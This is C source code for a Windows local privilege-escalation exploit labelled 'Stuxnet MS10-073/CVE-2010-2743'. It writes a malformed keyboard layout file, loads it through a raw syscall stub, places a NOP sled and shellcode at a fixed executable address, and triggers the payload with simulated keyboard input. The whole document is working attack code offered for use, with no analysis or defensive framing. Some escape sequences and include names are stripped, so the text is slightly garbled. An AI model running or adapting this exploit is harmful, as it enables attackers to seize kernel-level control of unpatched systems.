Code:
// My koala is staring at you CºgºD
// Source: http://reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1
#include
#include
#include
#define MAGIC_OFFSET 0x6261
#define InitializeUnicodeStr(p,s) {
(p)->Length= wcslen(s)*2;
(p)->MaximumLength = wcslen(s)*2+2;
(p)->Buffer = s;
}
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
IN HANDLE Handle,
IN DWORD offTable,
IN PUNICODE_STRING puszKeyboardName,
IN HKL hKL,
IN PUNICODE_STRING puszKLID,
IN DWORD dwKLID,
IN UINT Flags
)
{
__asm
{
mov eax, 000011c6h
mov edx, 7ffe0300h
call dword ptr [edx]
retn 1Ch
}
}
unsigned char shellcode[]="x90x90x90x90xC2x0Cx00x90x90";
unsigned char fakeDll[]="x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x40x00x00x00"
"x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00"
"x00x00x00x00xE0x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x2Ex64x61x74x61x00x00x00"
"xE6x00x00x00x60x01x00x00xE6x00x00x00x60x01x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x94x01x00x00x9Ex01x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"xA6x01x00x00xAAx01x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x9Cx01x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x01x00x00x00xC2x01x00x00x00x00x00x00x00x00"
"x00x00x00x05x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00";
int main(int argc, CHAR* argv[])
{
UNICODE_STRING uStr;
KEYBDINPUT kb={0};
INPUT vInput={0};
HANDLE hFile;
DWORD dwFuckS0ny;
HKL hKbd;
WCHAR lpPath[MAX_PATH]={0};
WCHAR lpLayoutFile[MAX_PATH]={0};
LPVOID lpShellPtr;
printf("nnStuxnet MS10-073/CVE-2010-2743 Exploitn");
printf("Ruben Santamarta - nn");
LoadLibraryA("user32.dll");
InitializeUnicodeStr(&uStr,L"pwn3d.dll");
GetTempPathW( MAX_PATH, lpPath );
wsprintf( lpLayoutFile, L"%lSp0wns.boom", lpPath);
hFile = CreateFileW(lpLayoutFile,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
0,
CREATE_ALWAYS,
0,0);
if( hFile == INVALID_HANDLE_VALUE )
{
printf(" n[!!] Errorn");
exit(0);
}
WriteFile( hFile,
fakeDll,
sizeof(fakeDll)-1,
&dwFuckS0ny,
NULL);
printf("n[+] Writing malformed kbd layout file nt"%S"nt[ %d ] bytes writtenn",lpLayoutFile,dwFuckS0ny);
CloseHandle(hFile);
hFile = CreateFileW (lpLayoutFile,
GENERIC_READ,
FILE_SHARE_READ,
0,
OPEN_EXISTING,
0,0);
if( hFile == INVALID_HANDLE_VALUE )
{
printf(" n[!!] Errorn");
exit(0);
}
hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
printf("n[+] Loading it...[ 0x%x ]n", NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160, NULL, hKbd, &uStr, 0x666, 0x101 ) );
lpShellPtr = VirtualAlloc( (LPVOID)0x60630000,
0xF000,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
printf("n[+] Allocating memory...");
if( !lpShellPtr )
{
printf("[!!] Error %xn",GetLastError());
exit(0);
}else{
printf("[ OK ]n");
}
memset( lpShellPtr, 0x90, 0xF000);
memcpy( ( void* )( ( ULONG_PTR ) lpShellPtr + MAGIC_OFFSET ),
( const void* )shellcode,
sizeof( shellcode ) - 1 );
kb.wVk = 0x0;
vInput.type = INPUT_KEYBOARD;
vInput.ki = kb;
printf("n[+] Triggering shellcode...");
SendInput( 1, ( LPINPUT ) &vInput, sizeof( INPUT ) );
printf("n[+] Donen");
return 0;
}
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